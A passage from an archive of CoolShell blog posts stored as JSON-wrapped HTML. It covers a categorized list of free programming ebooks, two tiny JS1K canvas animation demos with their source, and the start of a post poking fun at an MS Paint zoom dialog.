rel=\"nofollow\">Domain Driven Design Quickly</a></li>\n<li><a href=\"http://compilers.iecc.com/crenshaw/\" rel=\"nofollow\">Let’s Build a Compiler</a></li>\n<li><a href=\"http://producingoss.com/\" rel=\"nofollow\">Producing Open Source Software</a></li>\n<li><a href=\"http://www.lindaspaces.com/book/\" rel=\"nofollow\">How to Write Parallel Programs</a></li>\n<li><a href=\"http://www.neildavidson.com/dontjustrollthedice.html\" rel=\"nofollow\">Don’t Just Roll the Dice</a></li>\n</ul>\n<p><strong>ASP.NET MVC</strong>:</p>\n<ul>\n<li><a href=\"http://weblogs.asp.net/scottgu/archive/2009/03/10/free-asp-net-mvc-ebook-tutorial.aspx\" rel=\"nofollow\">NerdDinner Walkthrough</a></li>\n</ul>\n<p><strong>Assembly Language</strong></p>\n<ul>\n<li><a href=\"http://download.savannah.gnu.org/releases/pgubook/ProgrammingGroundUp-1-0-booksize.pdf\" rel=\"nofollow\">ProgrammingGroundUp</a></li>\n<li><a href=\"http://drpaulcarter.com/pcasm/\" rel=\"nofollow\">Paul Carter’s Tutorial on x86 Assembly</a></li>\n<li><a href=\"http://www.agner.org/optimize/\" rel=\"nofollow\">Software optimization resources by Agner Fog</a></li>\n</ul>\n<p><strong>Bash</strong></p>\n<ul>\n<li><a href=\"http://tldp.org/LDP/abs/html/\" rel=\"nofollow\">Advanced Bash-Scripting Guide</a></li>\n</ul>\n<p><strong>C/C++</strong></p>\n<ul>\n<li><a href=\"http://www.knosof.co.uk/cbook/cbook.html\" rel=\"nofollow\">The new C standard – an annotated reference</a></li>\n<li><a href=\"http://publications.gbdirect.co.uk/c_book/\" rel=\"nofollow\">The C book</a></li>\n<li><a href=\"http://www.mindview.net/Books/TICPP/ThinkingInCPP2e.html\" rel=\"nofollow\">Thinking in C++, Second Edition</a></li>\n<li><a href=\"http://cppannotations.sourceforge.net/\" rel=\"nofollow\">C++ Annotations</a></li>\n<li><a href=\"http://www.agner.org/optimize/\" rel=\"nofollow\">Software optimization resources by Agner Fog</a></li>\n<li><a href=\"http://cartan.cas.suffolk.edu/oopdocbook/opensource/index.html\" rel=\"nofollow\">Introduction to Design Patterns in C++ with Qt 4</a> (Open Publication License)</li>\n</ul>\n<p><strong>C#</strong></p>\n<ul>\n<li>See <strong>.NET</strong> below</li>\n</ul>\n<p><strong>Django</strong></p>\n<ul>\n<li><a href=\"http://djangobook.com/\" rel=\"nofollow\">Djangobook.com</a></li>\n</ul>\n<p><strong>Forth</strong></p>\n<ul>\n<li><a href=\"http://home.iae.nl/users/mhx/sf.html\" rel=\"nofollow\">Starting Forth</a></li>\n</ul>\n<p><strong>Git</strong></p>\n<ul>\n<li><a href=\"http://progit.org/book/\" rel=\"nofollow\">Pro Git</a></li>\n<li><a href=\"http://book.git-scm.com/index.html\" rel=\"nofollow\">The Git Community Book</a></li>\n</ul>\n<p><strong>Haskell</strong></p>\n<ul>\n<li><a href=\"http://learnyouahaskell.com/chapters\" rel=\"nofollow\">Learn You a Haskell</a></li>\n<li><a href=\"http://book.realworldhaskell.org/read/\" rel=\"nofollow\">Real World Haskell</a></li>\n</ul>\n<p><strong>Java</strong></p>\n<ul>\n<li><a href=\"http://java.sun.com/docs/books/tutorial/\" rel=\"nofollow\">Sun’s Java Tutorials</a></li>\n<li><a href=\"http://www.mindview.net/Books/TIJ/\" rel=\"nofollow\">Thinking in Java</a></li>\n<li><a href=\"http://openbookproject.net/thinkcs/java.php\" rel=\"nofollow\">How to Think Like a Computer Scientist</a></li>\n<li><a href=\"http://www.redbooks.ibm.com/redbooks/SG245118.html\" rel=\"nofollow\">Java Thin-Client Programming</a></li>\n<li><a href=\"http://s3.amazonaws.com/neilbartlett.name/osgibook_preview_20090110.pdf\" rel=\"nofollow\">OSGi in Practice</a> (CreativeCommons Attribution Non-commercial Share Alike License)</li>\n</ul>\n<p><strong>JavaScript</strong></p>\n<ul>\n<li><a href=\"http://eloquentjavascript.net/\" rel=\"nofollow\">Eloquent JavaScript</a></li>\n<li><a href=\"http://www.crockford.com/javascript/\" rel=\"nofollow\">Crockford’s JavaScript</a></li>\n<li><a href=\"http://www.rebeccamurphey.com/jqfundamentals/\" rel=\"nofollow\">jQuery Fundamentals</a> (starts with JS basics)</li>\n</ul>\n<p><strong>Linux</strong></p>\n<ul>\n<li><a href=\"http://www.advancedlinuxprogramming.com/\" rel=\"nofollow\">Advanced Linux Programming</a></li>\n</ul>\n<p><strong>Lisp</strong></p>\n<ul>\n<li><a href=\"http://www.gigamonkeys.com/book/\" rel=\"nofollow\">Practical Common Lisp</a></li>\n<li><a href=\"http://www.paulgraham.com/onlisp.html\" rel=\"nofollow\">On Lisp</a></li>\n<li><a href=\"http://www.paulgraham.com/acl.html\" rel=\"nofollow\">ANSI Common Lisp</a></li>\n<li><a href=\"http://www.cs.cmu.edu/Groups/AI/html/cltl/mirrors.html\" rel=\"nofollow\">Common Lisp the Language, 2nd Edition</a></li>\n<li><a href=\"http://psg.com/~dlamkins/sl/contents.html\" rel=\"nofollow\">Successful Lisp</a></li>\n<li><a href=\"http://letoverlambda.com/index.cl/toc\" rel=\"nofollow\">Let Over Lamda – 50 Years of Lisp</a></li>\n</ul>\n<p><strong>Lua</strong></p>\n<ul>\n<li><a href=\"http://www.lua.org/pil/\" rel=\"nofollow\">Programming In Lua</a> (for v5 but still largely relevant)</li>\n</ul>\n<p><strong>Maven</strong></p>\n<ul>\n<li><a href=\"http://www.maestrodev.com/better-build-maven\" rel=\"nofollow\">Better Builds with Maven</a></li>\n<li><a href=\"http://www.sonatype.com/books/mvnex-book/reference/public-book.html\" rel=\"nofollow\">Maven by Example</a></li>\n<li><a href=\"http://www.sonatype.com/books/maven-book/reference/\" rel=\"nofollow\">Maven: The Definitive Guide</a></li>\n</ul>\n<p><strong>Mercurial</strong></p>\n<ul>\n<li><a href=\"http://hgbook.red-bean.com/\" rel=\"nofollow\">Mercurial: The Definitive Guide</a></li>\n<li><a href=\"http://hginit.com/\" rel=\"nofollow\">HGInit – Mercurial Tutorial by Joel Spolsky</a></li>\n</ul>\n<p><strong>.NET (C#)</strong></p>\n<ul>\n<li><a href=\"http://www.programmersheaven.com/2/CSharpBook\" rel=\"nofollow\">Free C# Book</a> Covers C#1.0 and 2.0 (Courtesy of <a href=\"http://www.programmersheaven.com/\" rel=\"nofollow\">Programmers Heaven</a>)</li>\n<li><a href=\"http://www.infoq.com/minibooks/vsnettt\" rel=\"nofollow\">Visual Studio Tips and Tricks</a></li>\n<li><a href=\"http://weblogs.asp.net/zeeshanhirani/archive/2008/12/05/my-christmas-present-to-the-entity-framework-community.aspx\" rel=\"nofollow\">Entity Framework</a> (514 pages)</li>\n<li><a href=\"http://www.charlespetzold.com/dotnet/index.html\" rel=\"nofollow\">Charles Petzold’s .Net Book 0</a></li>\n<li><a href=\"http://www.albahari.com/threading/\" rel=\"nofollow\">Threading in C#</a></li>\n<li><a href=\"http://www.csharpcourse.com/\" rel=\"nofollow\">C# Yellow Book</a> (Intro to programming)</li>\n<li><a href=\"http://en.wikibooks.org/wiki/C_Sharp_Programming\" rel=\"nofollow\">C# Programming – Wikibook</a></li>\n<li><a href=\"http://www.techotopia.com/index.php/C_Sharp_Essentials\" rel=\"nofollow\">C# Essentials</a></li>\n<li><a href=\"http://www.brpreiss.com/books/opus6/\" rel=\"nofollow\">Data Structures and Algorithms with Object-Oriented Design Patterns in C#</a></li>\n<li><a href=\"http://downloads.red-gate.com/ebooks/DotNet/illustratedcsharp2008.zip\" rel=\"nofollow\">Illustrated C# 2008</a> (Download) (<strong>.ZIP</strong>) [dead link]</li>\n<li><a href=\"http://www.red-gate.com/products/ants_performance_profiler/be_ahead_of_the_game_ebook.htm?utm_source=simpletalk&amp;utm_medium=email&amp;utm_content=nlv_aheadofgame-ebook&amp;utm_campaign=antsperformanceprofiler\" rel=\"nofollow\">O’Reilly’s C# Pocket Reference Manual</a> (<em>Free Ebook courtesy of <a href=\"http://red-gate.com/\" rel=\"nofollow\">Red Gate Software</a></em>) [dead link]</li>\n</ul>\n<p><strong>NoSQL</strong></p>\n<ul>\n<li><a href=\"http://books.couchdb.org/relax/\" rel=\"nofollow\">CouchDB: The Definitive Guide</a></li>\n</ul>\n<p><strong>Objective-C</strong></p>\n<ul>\n<li><a href=\"http://developer.apple.com/DOCUMENTATION/Cocoa/Conceptual/ObjectiveC/\" rel=\"nofollow\">The Objective-C Programming Language</a></li>\n</ul>\n<p><strong>Parrot / Perl 6</strong></p>\n<ul>\n<li><a href=\"http://github.com/perl6/book/\" rel=\"nofollow\">Perl 6</a> (Work in progress)</li>\n</ul>\n<p><strong>Perl</strong></p>\n<ul>\n<li><a href=\"http://hop.perl.plover.com/book/\" rel=\"nofollow\">Higher Order Perl</a></li>\n<li><a href=\"http://www.greenteapress.com/perl/\" rel=\"nofollow\">Perl The Hard Way</a></li>\n<li><a href=\"http://www.extremeperl.org/bk/home\" rel=\"nofollow\">Extreme Perl</a></li>\n<li><a href=\"http://linkmingle.com/list/13-plus-List-of-Free-Great-Perl-Books-available-Online-freebooksandarticles\" rel=\"nofollow\">Perl Free Online EBooks</a> <strong>Meta-List</strong></li>\n<li><a href=\"http://www.masonbook.com/book/\" rel=\"nofollow\">The Mason Book</a></li>\n<li><a href=\"http://modperlbook.org/\" rel=\"nofollow\">Practical mod_perl</a></li>\n<li><a href=\"http://www.perl.org/books/beginning-perl/\" rel=\"nofollow\">Beginning Perl</a></li>\n<li><a href=\"http://www.masonbook.com/book/\" rel=\"nofollow\">Embedding Perl in HTML with Mason</a> (Open Publication License)</li>\n<li><a href=\"http://lwp.interglacial.com/index.html\" rel=\"nofollow\">Perl &amp; LWP</a></li>\n<li><a href=\"http://www.globalspin.com/thebook/\" rel=\"nofollow\">Perl for the Web</a></li>\n<li><a href=\"http://oreilly.com/openbook/webclient/\" rel=\"nofollow\">Web Client Programming with Perl</a></li>\n<li><a href=\"http://github.com/chromatic/modern_perl_book/\" rel=\"nofollow\">Modern Perl 5</a> (Work in progress)</li>\n</ul>\n<p><strong>PHP</strong></p>\n<ul>\n<li><a href=\"http://www.ipbwiki.com/Practical_PHP_Programming%3aTable_Of_Contents\" rel=\"nofollow\">Practical PHP Programming</a> (Wiki that contains O’Reilly’s <em>PHP In a Nutshell</em>)</li>\n<li><a href=\"http://www.survivethedeepend.com/\" rel=\"nofollow\">Zend Framework: Survive the Deep End</a></li>\n</ul>\n<p><strong>PowerShell</strong></p>\n<ul>\n<li><a href=\"http://powershell.com/cs/blogs/ebook/\" rel=\"nofollow\">Mastering PowerShell</a></li>\n</ul>\n<p><strong>Prolog</strong></p>\n<ul>\n<li><a href=\"http://www.amzi.com/ExpertSystemsInProlog/\" rel=\"nofollow\">Building Expert Systems in Prolog</a></li>\n<li><a href=\"http://www.amzi.com/AdventureInProlog/advfrtop.htm\" rel=\"nofollow\">Adventure in Prolog</a></li>\n<li><a href=\"http://computing.unn.ac.uk/staff/cgpb4/prologbook/\" rel=\"nofollow\">Prolog Programming A First Course</a></li>\n<li><a href=\"http://www.ida.liu.se/~ulfni/lpp/\" rel=\"nofollow\">Logic, Programming and Prolog (2ed)</a></li>\n<li><a href=\"http://www.j-paine.org/prolog/mathnotes/files/pms/pms.html\" rel=\"nofollow\">Introduction to Prolog for Mathematicians</a></li>\n<li><a href=\"http://www.learnprolognow.org/\" rel=\"nofollow\">Learn Prolog Now!</a></li>\n<li><a href=\"http://cs.union.edu/~striegnk/courses/nlp-with-prolog/html/\" rel=\"nofollow\">Natural Language Processing Techniques in Prolog</a></li>\n</ul>\n<p><strong>PostgreSQL</strong></p>\n<ul><a href=\"http://cs.union.edu/~striegnk/courses/nlp-with-prolog/html/\" rel=\"nofollow\"> </a>\n<li><a href=\"http://www.commandprompt.com/ppbook/\" rel=\"nofollow\">Practical PostgreSQL</a></li>\n</ul>\n<p><strong>Python</strong></p>\n<ul>\n<li><a href=\"http://diveintopython.org/\" rel=\"nofollow\">Dive Into Python</a></li>\n<li><a href=\"http://diveintopython3.org/\" rel=\"nofollow\">Dive Into Python 3</a></li>\n<li><a href=\"http://www.swaroopch.com/notes/Python\" rel=\"nofollow\">Byte of Python</a></li>\n<li><a href=\"http://homepage.mac.com/s_lott/books/python.html\" rel=\"nofollow\">Building Skills in Python Version 2.5</a></li>\n<li><a href=\"http://linkmingle.com/list/List-of-Free-Online-Python-Books-freebooksandarticles\" rel=\"nofollow\">Python Free Online Ebooks</a> <strong>Meta-List</strong></li>\n<li><a href=\"http://openbookproject.net/pybiblio/\" rel=\"nofollow\">Python Bibliotheca</a></li>\n<li><a href=\"http://www.greenteapress.com/thinkpython/thinkpython.pdf\" rel=\"nofollow\">Think Python</a></li>\n<li><a href=\"http://www.brpreiss.com/books/opus7/html/book.html\" rel=\"nofollow\">Data Structures and Algorithms in Python</a></li>\n<li><a href=\"http://www.greenteapress.com/thinkpython/thinkCSpy/\" rel=\"nofollow\">How to Think Like a Computer Scientist: Learning with Python</a></li>\n<li><a href=\"http://www.openbookproject.net/py4fun/\" rel=\"nofollow\">Python for Fun</a></li>\n<li><a href=\"http://inventwithpython.com/\" rel=\"nofollow\">Invent Your Own Computer Games With Python</a></li>\n<li><a href=\"http://www.mindview.net/Books/TIPython/\" rel=\"nofollow\">Thinking in Python</a></li>\n<li><a href=\"http://djangobook.com/\" rel=\"nofollow\">The Django Book</a></li>\n<li><a href=\"http://www.briggs.net.nz/log/writing/snake-wrangling-for-kids/\" rel=\"nofollow\" title=\"SWFK\">Snake Wrangling For Kids</a></li>\n</ul>\n<p><strong>Ruby</strong></p>\n<ul>\n<li><a href=\"http://www.ruby-doc.org/docs/ProgrammingRuby/\" rel=\"nofollow\">Programming Ruby</a></li>\n<li><a href=\"http://mislav.uniqpath.com/poignant-guide/\" rel=\"nofollow\">Why’s (Poignant) Guide to Ruby</a> (<a href=\"http://www.scribd.com/doc/2236084/Whys-Poignant-Guide-to-Ruby\" rel=\"nofollow\">Mirror</a> via <a href=\"http://www.scribd.com/\" rel=\"nofollow\">Scribd</a>)</li>\n<li><a href=\"http://www.humblelittlerubybook.com/\" rel=\"nofollow\">Mr. Neighborly’s Humble Little Ruby Book</a></li>\n<li><a href=\"http://rubybestpractices.com/\" rel=\"nofollow\">Ruby Best Practices</a></li>\n<li><a href=\"http://macruby.labs.oreilly.com/\" rel=\"nofollow\">MacRuby: The Definitive Guide</a></li>\n<li><a href=\"http://www.railstutorial.org/\" rel=\"nofollow\">Ruby on Rails Tutorial: Learn Rails By Example</a></li>\n</ul>\n<p><strong>Scala</strong></p>\n<ul>\n<li><a href=\"http://www.scala-lang.org/docu/files/ScalaTutorial.pdf\" rel=\"nofollow\">A Scala Tutorial for Java programmers</a></li>\n<li><a href=\"http://www.scala-lang.org/docu/files/ScalaByExample.pdf\" rel=\"nofollow\">Scala By Example</a></li>\n<li><a href=\"http://programming-scala.labs.oreilly.com/index.html\" rel=\"nofollow\">Programing Scala</a></li>\n<li><a href=\"http://github.com/leithaus/XTrace/tree/monadic/src/main/book/content/\" rel=\"nofollow\">Xtrace</a> (Github)</li>\n<li><a href=\"http://github.com/tjweir/liftbook\" rel=\"nofollow\">List</a> (Github)</li>\n<li><a href=\"http://github.com/leithaus/XTrace/tree/monadic/src/main/book/content/\" rel=\"nofollow\">Pro Scala: Monadic Design Patterns for the Web</a></li>\n<li><a href=\"http://github.com/tjweir/liftbook\" rel=\"nofollow\">Exploring Lift</a> (published earlier as “The Definitive Guide to Lift”, <a href=\"http://groups.google.com/group/the-lift-book\" rel=\"nofollow\">pdf</a>)</li>\n</ul>\n<p><strong>Scheme</strong></p>\n<ul>\n<li><a href=\"http://www.scheme.com/tspl4/\" rel=\"nofollow\">The Scheme Programming Language (Edition 4)</a></li>\n</ul>\n<p><strong>SmallTalk</strong></p>\n<ul>\n<li><a href=\"http://stephane.ducasse.free.fr/FreeBooks.html\" rel=\"nofollow\">SmallTalk Free Ebooks</a> <em>Courtesy of Stéphane Ducasse</em></li>\n<li><a href=\"http://www.squeakbyexample.org/\" rel=\"nofollow\">Squeak By Example</a> (Smalltalk IDE)</li>\n</ul>\n<p><strong>Subversion</strong></p>\n<ul>\n<li><a href=\"http://www.phptr.com/content/images/0131855182/downloads/Nagel_book.pdf\" rel=\"nofollow\">Subversion Version Control: Using the Subversion Version Control System in Development Projects</a></li>\n</ul>\n<p><strong>*<em>SQL (Implementation agnostic) *</em> </strong></p>\n<li><a href=\"http://www.cs.arizona.edu/people/rts/publications.html\" rel=\"nofollow\">Developing Time-Oriented Database Applications in SQL</a>,Richard T. Snodgrass</li>\n<p><strong>Vim</strong></p>\n<ul>\n<li><a href=\"http://www.swaroopch.com/notes/Vim\" rel=\"nofollow\">A Byte of Vim</a></li>\n</ul>\n<p>你有和我们分享的计算机电子书列表吗？欢迎在回复中和我们分享。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3192.html\"><img alt=\"一些非常不错的资料\" height=\"150\" src=\"../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3192.html\">一些非常不错的资料</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5479.html\"><img alt=\"给程序员的VIM速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5479.html\">给程序员的VIM速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4710.html\"><img alt=\"Python 和 PyGame 的一些示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4710.html\">Python 和 PyGame 的一些示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3903.html\"><img alt=\"一些有意思的贴子和工具\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3903.html\">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2775.html\">免费电子书列表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-9 JS1K 演示.html",
    "content": "<html><body><p>以前本站发布过很多和Javascript相关的东西，如：《<a href=\"https://coolshell.cn/articles/2276.html\" rel=\"bookmark\">又一个Javascript试验田</a>》、《<a href=\"https://coolshell.cn/articles/2065.html\" rel=\"bookmark\">一个Windows 3.1的Web网站</a>》、《<a href=\"https://coolshell.cn/articles/1932.html\" rel=\"bookmark\">哥是玩程序的</a>》。今天要介绍另外一组，先看下面的这个Javascript特效（在IE下无法正常工作），你可以用Chrome查看，很炫。不过最炫的是其源码，非常的简单，不超过1K。如果你要知道这个效果的原理，这里有一个<a href=\"http://acko.net/blog/js1k-demo-the-making-of\" target=\"_blank\">教程</a>。这里有个网站：<a href=\"http://js1k.com/\" target=\"_blank\">JS1K Demo</a>， 这个站上主要收集一些Javascript不大于1K的程序。</p>\n<p align=\"center\"><br/> <br/>\n<button id=\"1kjs-stop\">停止演示</button><button id=\"1kjs-start\" style=\"display: none;\">开始演示</button></p>\n<p>下面是其源码：<br/>\n<span id=\"more-2785\"></span></p>\n<p>[javascript]<br/>\nf=Math; _=document.body; _.style.background=\"#000\"; e=_.children[0]; e.width=w=innerWidth-10; e.height=h=innerHeight-25; g=e.getContext(\"2d\"); t=w/h; with(g){scale(w*0.5/t,h*0.5); translate(1*t,1); globalCompositeOperation=\"lighter\"; lw=45/h; $=p=m=q=r=d=0; g=u=-8; setInterval(function(){if(–d&lt; 0){h=f.random; e=h()*18-9; r2=h()*18-9; u2=h()*18-9; d=70}function A(C,B){return C+(B-C)*0.04}p=A(p,e); m=A(m,r2); g=A(g,u2); q=A(q,p); r=A(r,m); u=A(u,g); a=f.atan2(q,-u*2); b=f.atan2(r*2,f.sqrt(u*u+q*q)); $+=0.05; clearRect(-t,-1,2*t,2); for(i=12; i; –i){v=0; for(j=45; j; ){c=f.cos; s=f.sin; j–; w=$-j*0.03-i*3; A=f.sqrt(j+0.2); n=c(w+s(w*0.31))*2+s(w*0.83)*3+w*0.02; o=s(w*0.7)-c(3+w*0.23)*3; x=c(n)*c(o)*A-q; y=s(n)*c(o)*A-r; z=s(o)*A-u; n=c(a); o=s(a); k=x*n+z*o; h=z*n-x*o; n=c(b); o=s(b); l=y*n+h*o; z=h*n-y*o; lineTo(k/z,l/z); lineWidth=lw*(2+!j)/z; h=f.round; w=h(60-j)*(1+!j+f.max(0,s($*6-j/8)-0.95)*70); strokeStyle=\"rgb(\"+h(w*(!j+s(i+$*0.15)+1))+\",\"+h(!j+w*(s(i-1)+1))+\",\"+h(!j+w*(s(i-1.3)+1))+\")\"; if(z&gt; 0.1){v++&amp;&amp;stroke()}else{v=0}beginPath(); moveTo(k/z,l/z)}}},33)}<br/>\n[/javascript]</p>\n<p>下面，让我们再看一个只有1023字节的3D演示，同样，只有在Chrome中才能看到最佳效果。</p>\n<p align=\"center\"><br/> <br/>\n<button id=\"1kjs-stop1\">停止演示</button><button id=\"1kjs-start1\" style=\"display: none;\">开始演示</button></p>\n<p>其源代码如下：</p>\n<p>[javascript]<br/>\nwith(document.body.style){margin=\"0px\";overflow=\"hidden\";}var w=window.innerWidth;var h=window.innerHeight;var ca=document.getElementById(\"c\");ca.width=w;ca.height=h;var c=ca.getContext(\"2d\");m=Math;fs=m.sin;fc=m.cos;fm=m.max;setInterval(d,30);function p(x,y,z){return{x:x,y:y,z:z};}function s(a,z){r=w/10;R=w/3;b=-20*fc(a*5+t);return p(w/2+(R*fc(a)+r*fs(z+2*t))/z+fc(a)*b,h/2+(R*fs(a))/z+fs(a)*b);}function q(a,da,z,dz){var v=[s(a,z),s(a+da,z),s(a+da,z+dz),s(a,z+dz)];c.beginPath();c.moveTo(v[0].x,v[0].y);for(i in v)c.lineTo(v[i].x,v[i].y);c.fill();}var Z=-0.20;var t=0;function d(){t+=1/30.0;c.fillStyle=\"#000\";c.fillRect(0,0,w,h);c.fillStyle=\"#f00\";var n=30;var a=0;var da=2*Math.PI/n;var dz=0.25;for(var z=Z+8;z&gt;Z;z-=dz){for(var i=0;i&lt;n;i++){fog=1/(fm((z+0.7)-3,1));if(z&lt;=2){fog=fm(0,z/2*z/2);}var k=(205*(fog*Math.abs(fs(i/n*2*3.14+t))))&gt;&gt;0;k*=(0.55+0.45*fc((i/n+0.25)*Math.PI*5));k=k&gt;&gt;0;c.fillStyle=\"rgb(\"+k+\",\"+k+\",\"+k+\")\";q(a,da,z,dz);if(i%3==0){c.fillStyle=\"#000\";q(a,da/10,z,dz);}a+=da;}}Z-=0.05;if(Z&lt;=dz)Z+=dz;}<br/>\n[/javascript]</p>\n<p>你可以前往一看更多的<a href=\"http://js1k.com/demos\" target=\"_blank\">演示</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3429.html\"><img alt=\"程序员的圣诞节\" height=\"150\" src=\"../wp-content/uploads/2010/12/arbol_0-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3429.html\">程序员的圣诞节</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2785.html\">JS1K 演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-8-9 微软最囧的UI.html",
    "content": "<html><body><p>以前，本站介绍过一些<a href=\"https://coolshell.cn/articles/1907.html\" target=\"_blank\">Ugly的UI</a>，今天我们来看看微软Windows里的“画笔”程序，看看微软的某个功能干了什么样的囧事。</p>\n<p>我打开了一个比较大的图片，有点太大了，我想缩小一下看看，很好，微软在菜单项里供了Zoom选项，其中有一个Custom（自定义），挺不错的。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-2793\" height=\"246\" src=\"../wp-content/uploads/2010/08/ms-paint-custom-menu.jpg\" width=\"456\"/></p>\n<p>但是，当我看到这个自定义的对话框后，我彻底无语了，大哥你是怎么想的啊……</p>\n<p><span id=\"more-2792\"></span></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-2794\" height=\"168\" src=\"../wp-content/uploads/2010/08/ms-paint-custom-diag.jpg\" width=\"316\"/><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" 